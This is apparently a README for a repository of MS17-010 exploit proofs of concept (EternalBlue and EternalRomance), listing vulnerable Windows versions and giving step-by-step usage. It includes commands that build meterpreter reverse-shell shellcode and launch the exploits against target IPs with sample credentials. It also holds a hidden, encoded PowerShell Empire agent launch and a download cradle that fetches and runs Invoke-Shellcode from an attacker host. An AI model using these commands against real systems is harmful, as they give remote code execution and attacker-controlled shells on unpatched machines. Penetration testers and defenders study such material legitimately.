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MS17-010 RCE PoC's

All credits go out to worawit and vivami.

My goal is to add support for things like nthashes and more payload options.

Eternalblue

Eternalblue only requires access to IPC$ to exploit a target while other exploits require access to a named pipe as well. Eternalblue thus works on all versions of Windows that allow anonymous access to IPC$ (Windows 7 and Windows 2008, or later version explicitly configured to allow anonymous access). Keep in mind that Eternalblue has a higher change of crashing a target than Eternalsynergy - Eternalromance, so don't try this on critical systems.

Compatible targets

eternalblue_exploit7:

  • Windows 7 SP1 x64
  • Windows 7 SP1 x86
  • Windows Server 2008 R2 SP1 x64
  • Windows Server 2008 SP1 x86

eternalblue_exploit8:

  • Windows Server 2012 R2 x64
  • Windows 8.1 x64

Exploit usage

Example for spawning a meterpreter session on an x64 machine:

  1. nasm -f bin eternalblue_kshellcode_x64.asm
  2. msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o meterpreter_msf.bin EXITFUNC=thread LHOST=<LOCAL_IP> LPORT=<LOCAL_PORT>
  3. cat eternalblue_kshellcode_x64 meterpreter_msf.bin > sc_x64.bin
  4. python eternalblue_exploit7.py <TARGET_IP> shellcode/sc_x64.bin

Eternalromance

This exploit exploits the same bug used by NSA's Eternalromance (and Eternalsynergy). A named pipe is needed, meaning on more modern (default) configurations you will need credentials in order for the exploit to work. In most cases, domain user credentials will suffice.

Compatible targets

  • Windows 2016 x64
  • Windows 10 x64
  • Windows 10 x86
  • Windows 2012 R2 x64
  • Windows 2008 R2 SP1 x64
  • Windows 2008 SP1 x64
  • Windows 2008 SP1 x86
  • Windows 8.1 x64
  • Windows 8.1 x86
  • Windows 7 SP1 x86
  • Windows 7 SP1 x64
  • Windows 2003 SP2 x86
  • Windows 2003 R2 SP2 x64
  • Windows XP SP2 x64
  • Windows XP SP3 x86
  • Windows 2000 SP4 x86

Usage

Example for finding a named pipe (not required anymore, exploit now automatically finds a named pipe on the target):

python find_named_pipe.py 192.168.178.2 testuser Password123

Usage of eternalromance.py:

python eternalromance.py <target_ip_address> <username> <password> <command_to_execute>

Example for spawning an Empire agent:

python eternalromance.py 192.168.178.2 testuser Password123 "powershell.exe -NoP -sta -NonI -W Hidden -Enc WwBTAHkAUwB0AEUAbQAuAE4AZQBUAC..."

Example for spawning a meterpreter session:

python eternalromance.py 192.168.178.2 testuser Password123 "powershell -Exec ByPass -NoP -noexit \"IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.3/Invoke-Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.178.3 -Lport 8443 -Force \""

(I typically grab Invoke-Shellcode.ps1 from http://bit.ly/2cuWJTF, but that only works when the target has an unfiltered outbound connection.)

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